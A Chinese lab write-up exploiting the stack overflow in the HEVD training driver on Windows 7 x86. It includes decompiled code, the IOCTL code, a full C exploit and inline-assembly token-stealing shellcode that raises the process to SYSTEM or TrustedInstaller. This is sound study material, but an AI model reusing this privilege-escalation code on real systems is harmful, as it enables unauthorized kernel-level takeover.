漏洞分析丨HEVD-0x1.StackOverflow[win7x86]

前言

窥探Ring0漏洞世界第一课:缓冲区溢出

实验环境:

•虚拟机:Windows 7 x86

•物理机:Windows 10 x64

•软件:IDA,Windbg,VS2022

漏洞分析

该环境提供了各种内核漏洞场景供学习,本次实验内容是BufferOverflowStack

首先用IDA打开HEVD.sys,搜索BufferOverflowStack,可以看到两个函数:BufferOverflowStackIoctlHandler和TriggerBufferOverflowStack,前者是分发程序,后者是漏洞程序

从IDA的F5里可以看出,这是一个经典的栈溢出漏洞:使用用户输入的长度进行memcpy调用

int __stdcall TriggerBufferOverflowStack(void *UserBuffer, unsigned int Size)

{

unsigned int KernelBuffer[512]; // [esp+10h] [ebp-81Ch] BYREF

CPPEH_RECORD ms_exc; // [esp+814h] [ebp-18h]

memset(KernelBuffer, 0, sizeof(KernelBuffer));

ms_exc.registration.TryLevel = 0;

ProbeForRead(UserBuffer, 0x800u, 1u); // 检查用户缓冲区是否可读

_DbgPrintEx(0x4Du, 3u, "[+] UserBuffer: 0x%p\n", UserBuffer);

_DbgPrintEx(0x4Du, 3u, "[+] UserBuffer Size: 0x%zX\n", Size);

_DbgPrintEx(0x4Du, 3u, "[+] KernelBuffer: 0x%p\n", KernelBuffer);

_DbgPrintEx(0x4Du, 3u, "[+] KernelBuffer Size: 0x%zX\n", 0x800u);

  _DbgPrintEx(0x4Du, 3u, "[+] Triggering Buffer Overflow in Stack\n");

memcpy(KernelBuffer, UserBuffer, Size);      // 经典缓冲区溢出

  return 0;

}

接下来看看要如何进入这个漏洞函数,利用IDA的交叉引用功能,可以看到是BufferOverflowStackIoctlHandler函数:

int __stdcall BufferOverflowStackIoctlHandler(_IRP *Irp, _IO_STACK_LOCATION *IrpSp)

{

int v2; // ecx

_NAMED_PIPE_CREATE_PARAMETERS *Parameters; // edx

  v2 = -1073741823;

Parameters = IrpSp->Parameters.CreatePipe.Parameters;

  if ( Parameters )

  return TriggerBufferOverflowStack(Parameters, IrpSp->Parameters.Create.Options);

  return v2;

}

这里使用的是IRP传参,也就是说驱动是使用IO通信的,接着使用交叉引用向上找,找到通信的地方,找到进入这里用的控制码:


看这个分支结构,和这明显的jumptable标识,这是一个跳转表,这是switch-case结构,这里应该就是通过控制码进行跳转:

PAGE:00444064 _IrpDeviceIoCtlHandler@8 proc near      ; DATA XREF: DriverEntry(x,x)+8A↓o

PAGE:00444064

PAGE:00444064                              DeviceObject= dword ptr  8

PAGE:00444064                              Irp= dword ptr  0Ch

PAGE:00444064

PAGE:00444064 55                            push    ebp

PAGE:00444065 8B EC                        mov    ebp, esp

PAGE:00444067 53                            push    ebx

PAGE:00444068 56                            push    esi

PAGE:00444069 57                            push    edi

PAGE:0044406A 8B 7D 0C                      mov    edi, [ebp+Irp]

PAGE:0044406D BB BB 00 00 C0                mov    ebx, 0C00000BBh

PAGE:00444072 8B 47 60                      mov    eax, [edi+60h]                  ; IrpStack

PAGE:00444075 85 C0                        test    eax, eax

PAGE:00444077 0F 84 6D 04 00 00            jz      loc_4444EA

PAGE:00444077

PAGE:0044407D 8B D8                        mov    ebx, eax

PAGE:0044407F 8B 4B 0C                      mov    ecx, [ebx+0Ch]                  ; IoControlCode

PAGE:00444082 8D 81 FD DF DD FF            lea    eax, [ecx-222003h]              ; switch 113 cases

PAGE:00444088 83 F8 70                      cmp    eax, 70h                        ; 大于0x70就跳转

PAGE:0044408B 0F 87 41 04 00 00            ja      $LN34                          ; jumptable 00444098 default case, cases 2236420-2236422,2236424-2236426,2236428-2236430,2236432-2236434,2236436-2236438,2236440-2236442,2236444-2236446,2236448-2236450,2236452-2236454,2236456-2236458,2236460-2236462,2236464-2236466,2236468-2236470,2236472-2236474,2236476-2236478,2236480-2236482,2236484-2236486,2236488-2236490,2236492-2236494,2236496-2236498,2236500-2236502,2236504-2236506,2236508-2236510,2236512-2236514,2236516-2236518,2236520-2236522,2236524-2236526,2236528-2236530

PAGE:0044408B

PAGE:00444091 0F B6 80 7C 45 44 00          movzx  eax, ds:byte_44457C[eax]        ; 根据eax索引取地址索引

PAGE:00444098 FF 24 85 04 45 44 00          jmp    ds:jpt_444098[eax*4]            ; switch jump

PAGE:00444098

PAGE:0044409F                              ; ---------------------------------------------------------------------------

PAGE:0044409F

PAGE:0044409F                              $LN5:                                  ; CODE XREF: IrpDeviceIoCtlHandler(x,x)+34↑j

PAGE:0044409F                                                                      ; DATA XREF: IrpDeviceIoCtlHandler(x,x):jpt_444098↓o

PAGE:0044409F 8B 35 04 20 40 00            mov    esi, ds:__imp__DbgPrintEx      ; jumptable 00444098 case 2236419

PAGE:004440A5 68 2E 6B 44 00                push    offset aHevdIoctlBuffe          ; "****** HEVD_IOCTL_BUFFER_OVERFLOW_STACK"...

PAGE:004440AA 6A 03                        push    3                              ; Level

PAGE:004440AC 6A 4D                        push    4Dh ; 'M'                      ; ComponentId

PAGE:004440AE FF D6                        call    esi ; __imp__DbgPrintEx

PAGE:004440AE

PAGE:004440B0 83 C4 0C                      add    esp, 0Ch

PAGE:004440B3 53                            push    ebx                            ; _IO_STACK_LOCATION *

PAGE:004440B4 57                            push    edi                            ; _IRP *

PAGE:004440B5 E8 EC 10 00 00                call    _BufferOverflowStackIoctlHandler@8 ; BufferOverflowStackIoctlHandler(x,x)

PAGE:004440B5

PAGE:004440BA 68 2E 6B 44 00                push    offset aHevdIoctlBuffe          ; "****** HEVD_IOCTL_BUFFER_OVERFLOW_STACK"...

PAGE:004440BA

可以看到,这里我们要找的函数位于跳转表的第一个,eax传入的值是0,让eax为0,那么eax = 控制码ecx-222003h=0,控制码为0x222003

到此,知道如何调用到这个函数了,接下来写代码来进行利用

漏洞利用

首先填充传递一个刚好大小的buffer,查看栈的情况:


这里的memcpy复制的内容填充满可以填充到0x916aeab0,距离返回地址0x916aead4还有0x20+4个字节

再往缓冲区里填充20字节的随便字符,然后再填充4字节返回地址,这样就可以跳出到shellcode上了,这里没有gs保护,所以还是比较简单的

利用代码:(关于TokenStealingPayloadWin7函数在下文进行介绍)

#include

#include

int main()

{

ULONG UserBufferSize = 512 * sizeof(ULONG) + 0x20 + 4;

    PVOID EopPayload = &TokenStealingPayloadWin7;

  HANDLE hDevice = ::CreateFileW(L"\\\\.\\HacksysExtremeVulnerableDriver",

      GENERIC_ALL,

      FILE_SHARE_WRITE,

      nullptr,

      OPEN_EXISTING,

      0,

      nullptr);

    if (hDevice == INVALID_HANDLE_VALUE) {

      printf("[ERROR]Open Device Error\r\n");

      system("pause");

      exit(1);

    }

    else {

      printf("[INFO]Device Handle: 0x%X\n", hDevice);

    }

  PULONG UserBuffer = (PULONG)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, UserBufferSize);

    if (!UserBuffer) {

      printf("[ERROR]Allocate ERROR");

      system("pause");

      exit(1);

    }

    else {

      printf("[INFO]Allocated Memory: 0x%p\n",UserBuffer);

      printf("[INFO]Allocation Size: 0x%X\n", UserBufferSize);

    }

  RtlFillMemory(UserBuffer, UserBufferSize, 0x41);

    PVOID MemoryAddress = (PVOID)(((ULONG)UserBuffer + UserBufferSize) - sizeof(ULONG));

  *(PULONG)MemoryAddress = (ULONG)EopPayload;

  //PVOID MemoryAddress = (PVOID)(((ULONG)UserBuffer + 512) - sizeof(ULONG));

    ULONG WriteRet = 0;

  DeviceIoControl(hDevice, 0x222003, (LPVOID)UserBuffer, UserBufferSize, NULL, 0, &WriteRet, NULL);

  HeapFree(GetProcessHeap(), 0, (LPVOID)UserBuffer);

  UserBuffer = NULL;

  system("pause");

  system("cmd.exe");

  return 0;

}

因为需要管理员执行,这样提升到system权限好像看不出个啥,于是这里就修改了替换的token,提升到trustedinstaller权限

memcpy之后,可见返回地址变成了我们自己的地址:


执行结果:获得trustedinstaller权限


当进程结束后,如果是分配system进程的主令牌,则没事,如果是trustedInstaller则会系统奔溃,应该是进程结束后系统会对该进程的主令牌进行某种操作,后面再去了解具体情况!

exp 分析--TokenSteal

shellcode版exp见参考资料[4]:申请一个可执行的内存保存shellcode,然后设置返回地址到这个申请的内存上

进程的主令牌token位于EPROCESS结构中:

+0x0f8 Token            : _EX_FAST_REF

只需要把其他进程EPROCESS的Token替换到当前进行,当前进程使用的就是该进程的主令牌了,就会拥有该令牌的权限

该示例给出的官方EXP代码如下:

// Windows 7 SP1 x86 Offsets

#define KTHREAD_OFFSET 0x124 // nt!_KPCR.PcrbData.CurrentThread

#define EPROCESS_OFFSET    0x050 // nt!_KTHREAD.ApcState.Process

#define PID_OFFSET        0x0B4 // nt!_EPROCESS.UniqueProcessId

#define FLINK_OFFSET      0x0B8 // nt!_EPROCESS.ActiveProcessLinks.Flink

#define TOKEN_OFFSET      0x0F8 // nt!_EPROCESS.Token

#define SYSTEM_PID        0x004 // SYSTEM Process PID

VOID TokenStealingPayloadWin7() {

    // Importance of Kernel Recovery

    __asm {

      pushad                  ; 保存寄存器

        ;开始令牌窃取流程

      xor eax, eax                ; 清空eax

      mov eax, fs: [eax + KTHREAD_OFFSET]    ; 获取当前线程KTHREAD,nt!_KPCR.PcrbData.CurrentThread

                            ; 内核态fs寄存器指向KPCR,_KTHREAD is located at FS : [0x124]

      mov eax, [eax + EPROCESS_OFFSET]  ; 获取当前线程EPROCESS,nt!_KTHREAD.ApcState.Process

      mov ecx, eax                ; 保存当前进程 _EPROCESS 结构地址

      mov edx, SYSTEM_PID        ; WIN 7 SP1 SYSTEM process PID = 0x4

    ; 循环找到系统进程(PID=4)的EPROCESS结构

      SearchSystemPID:

    mov eax, [eax + FLINK_OFFSET]      ; 获取进程链表的下一项 nt!_EPROCESS.ActiveProcessLinks.Flink

        sub eax, FLINK_OFFSET          ; 恢复到EPROCESS首地址

      cmp[eax + PID_OFFSET], edx      ; 对比PID是不是指定进程,nt!_EPROCESS.UniqueProcessId

      jne SearchSystemPID        ; 不是就跳转

      mov edx, [eax + TOKEN_OFFSET]      ; 获取系统进程的token,nt!_EPROCESS.Token

      mov[ecx + TOKEN_OFFSET], edx      ; 替换当前进程的token,nt!_EPROCESS.Token         

        ;令牌窃取流程结束

  popad                  ; 回复寄存器

        ;内核恢复流程

      xor eax, eax                ; 设置返回值:0,NTSTATUS_SUCCEESS

      add esp, 12            ; 修复栈顶esp

      pop ebp                ; 还原ebp

      ret 8                  ; 返回

    }

}

这里的最后几句很巧妙:

;内核恢复流程

      xor eax, eax                ; 设置返回值:0,NTSTATUS_SUCCEESS

      add esp, 12            ; 修复栈顶esp

      pop ebp                ; 还原ebp

      ret 8                  ; 返回

这里清空了eax作为返回值,然后最巧妙的就是这个esp和ebp的修复了!

因为在R0程序不能奔溃,所以这个程序被劫持了执行流之后,还得还原回去,因为我们是通过覆盖返回地址劫持的,所以没法再从这个返回地址返回了

在劫持之前,函数返回的时候,把ebp给了esp,然后弹出ebp返回,这里的add esp 12实际上是把栈顶的位置放到了再上一层函数的栈顶,然后通过pop ebp恢复ebp到再上一层函数的位置,此时ebp的值就是返回地址,因为上层函数返回再上层函数会把esp往后走8个字节,所以这里就是ret 8(具体是怎么写出来的见下一篇的分析)

查看调用堆栈:

1: kd> k

# ChildEBP RetAddr 

00 8d6bfad0 00151040    HEVD!TriggerBufferOverflowStack+0xc4 [C:\Users\selph\Desktop\HackSysExtremeVulnerableDriver-master\Driver\HEVD\Windows\BufferOverflowStack.c @ 116]

WARNING: Frame IP not in any known module. Following frames may be wrong.

01 8d6bfae0 8ede60ba    0x151040

02 8d6bfafc 83e7c593    HEVD!IrpDeviceIoCtlHandler+0x56 [C:\Users\selph\Desktop\HackSysExtremeVulnerableDriver-master\Driver\HEVD\Windows\HackSysExtremeVulnerableDriver.c @ 278]

03 8d6bfb14 8407099f    nt!IofCallDriver+0x63

函数实际原本的调用顺序是IrpDeviceIoCtlHandler->BufferOverflowStackIoctlHandler->TriggerBufferOverflowStack

现在的调用堆栈则变成了IrpDeviceIoCtlHandler->自己的函数->TriggerBufferOverflowStack

相当于我们把中间这个过程给跳过了!!!R0真是太神奇了!

参考资料

•[1] hacksysteam/HackSysExtremeVulnerableDriver: HackSys Extreme Vulnerable Windows Driver (github.com) https://github.com/hacksysteam/HackSysExtremeVulnerableDriver

•[2] FuzzySecurity | Windows ExploitDev: Part 10 https://www.fuzzysecurity.com/tutorials/expDev/14.html

•[3] (1条消息) FS寄存器的作用_tanweng的博客-CSDN博客_fs寄存器 https://blog.csdn.net/tanweng/article/details/8929100

•[4] HSEVD-StackOverflow/HS-StackOverflow.c at master · Cn33liz/HSEVD-StackOverflow (github.com) https://github.com/Cn33liz/HSEVD-StackOverflow/blob/master/HS-StackOverflow/HS-StackOverflow.c## H2

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 217,657评论 6 505
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 92,889评论 3 394
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 164,057评论 0 354
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,509评论 1 293
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,562评论 6 392
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,443评论 1 302
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,251评论 3 418
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 39,129评论 0 276
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,561评论 1 314
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,779评论 3 335
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,902评论 1 348
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,621评论 5 345
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,220评论 3 328
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,838评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,971评论 1 269
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 48,025评论 2 370
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,843评论 2 354

推荐阅读更多精彩内容

  • 1.地址总线,数据总线,控制总线在哪里,它们有什么作用?答:它们都是cpu连接外部组件的线路。地址总线:地址总线A...
    MagicalGuy阅读 1,456评论 0 1
  • 来源:http://bbs.ichunqiu.com/thread-8956-1-1.html?from=ch 本...
    池寒阅读 1,319评论 0 2
  • 此篇是学习ucore操作系统lab1的实验报告,参考了很多资料和文章,也学到了不少。 先看要求: 为了实现lab1...
    一斗水阅读 379评论 0 0
  • 还是和linux下溢出利用对比。 开启了DEP后,栈的内存空间变成不可执行,无法再把shellcode布置其中然后...
    BJChangAn阅读 1,603评论 0 0
  • 字符串 1.什么是字符串 使用单引号或者双引号括起来的字符集就是字符串。 引号中单独的符号、数字、字母等叫字符。 ...
    mango_2e17阅读 7,508评论 1 7